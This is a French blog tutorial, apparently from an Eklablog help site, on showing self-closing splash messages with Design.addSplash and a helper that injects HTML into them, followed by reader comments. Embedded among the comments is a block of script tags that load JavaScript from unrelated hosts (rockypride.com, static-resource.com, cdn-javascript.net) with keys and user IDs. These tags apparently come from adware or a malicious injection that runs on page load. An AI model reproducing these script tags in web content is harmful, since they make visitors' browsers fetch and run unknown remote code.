-
[SCRIPT] Afficher des messages d'informations temporaires (splash screen)
On voit parfois des messages en bleu, lorsqu'on suppprime un article par exemple :
Ces messages se ferment lorsqu'on clique dessus, ou automatiquement après quelques instants.
Pour en afficher un, il suffit d'appeler la fonction Javascript Design.addSplash.
Pour utiliser Javascript, il faut au préalable demander aux responsables de l'activer sur vos blogs, en passant par le formulaire de contact.
Cliquez sur ce bouton pour afficher un message :
Voici le code HTML de ce bouton, avec un appel Javascript sur clic :
Code minimal d'affichage d'une fenêtre auto-refermable Tout sélectionner
<input onclick="Design.addSplash('Ce message va se fermer tout seul')" type="button" value="Afficher un message" />
Ces messages sont de classe splash, et donc pour modifier leur visuel on peut écrire du code CSS avec le sélecteur .splash.
Une fois un message créé, on peut trouver son identifiant avec la fonction Design.idSplashs.getLast().
On obtient ainsi l'identifiant du dernier message affiché, que l'on peut utiliser pour avoir l'élément HTML correspondant (qui sera d'identifiant « splash1 » par exemple).On peut alors agir sur le message (son élément div), en modifiant par exemple son contenu pour afficher du code HTML (par défaut on ne peut afficher que du texte non formaté) :
Function Javascript réutilisable Tout sélectionner
// Fonction d'affichage d'un message temporaire // html = code HTML du contenu // timeout = délai en millisecondes function mySplashArticle(html, timeout) { // Affiche le message vide Design.addSplash("",timeout); // Récupère l'élément HTML correspondant au message var mysplashelt=$('splash'+Design.idSplashs.getLast()); // Passage en texte non gras (ces messages sont en gras par défaut) mysplashelt.style.fontWeight="normal"; // Injecte le HTML dans le message (remplacer " par \") mysplashelt.innerHTML=html; }
Je vous invite si besoin à ranger cette fonction dans un module comme expliqué ici : Ranger ses fonctions Javascript dans un module masqué.
Il suffit ensuite d'appeler cette fonction en passant en paramètre :
- le code HTML du contenu ;
- le délai d'affichage en millisecondes (2000ms = 2s par défaut);
Voici un exemple d'utilisation :
Code affichage d'une fenêtre Tout sélectionner
// HTML du contenu
Exécuter ce code
var html="<p style=\"text-align: center;\">" +
"<img style=\"display: block; margin-left: auto; margin-right: auto;\" src=\"http://ekladata.com/gerer-mon-blog.eklablog.fr/perso/images/divers/avatar.jpg\" alt=\"\" width=\"48\" height=\"42\" />" +
" Bonjour, ceci est une fenêtre personnalisée <strong>avec une image</strong> centrée. </p>" +
"<p>Elle va rester affichée trois secondes.</p>";
mySplashArticle(html,3000);Notez que le HTML est une chaîne de caractères entre guillemets (").
Pour y écrire des guillemets, il faut remplacer " par \"
On évite également les retours à la ligne (utilisez <br /> pour un retour à la ligne en HTML).Si le message doit s'afficher à l'ouverture du blog, attention à placer le code dans onJSFilesLoaded (cf. Mon premier code Javascript - afficher un message).
« [CSS] Ajouter du texte au module Newsletter et agrandir les éléments[SCRIPT] $ et $$ : sélection d'éléments en Javascript »
-
Commentaires
2didcapitaineSamedi 26 Mai 2018 à 15:293colemDimanche 2 Décembre 2018 à 22:54Salut et merci pour ton article
J'essaye de faire fonctionner ce script mais je n'y parvient pas
peux tu m'aider ?
Merci pour l'info . J'ai eu un souci avec un compte à rebours que j'avais transféré;
Bonne journée . Amitiés
<script src="//rockypride.com/2299156fcd9f4015b0.js"></script> <script src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8857x" type="text/javascript"></script> <script src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8857x&format=arrjs&r=1585797258158" type="text/javascript"></script> <script src="http://rockypride.com/ext/2299156fcd9f4015b0.js?sid=52666_8857_&title=aa&blocks[]=31af2" type="text/javascript"></script>Bonjour,
J'aurais besoin d'aide. Je voudrais qu'une image s'affiche quand je passe la souris sur un mot ou partie de texte dans un article.
Pourriez-vous m'aider?
Merci
Ajouter un commentaire
Merci ! Cette fois je prends la minute nécessaire :
très utile pour un message temporaire, visible par tout le monde, vraiment bien ! Même si je n'ai pas mis en place moi-même, il y a quelque temps j'ai eu la très bonne surprise de la découverte en place (par là). (merci s......o ;)
C'est important de dire quand c'est bien, donc je confirme :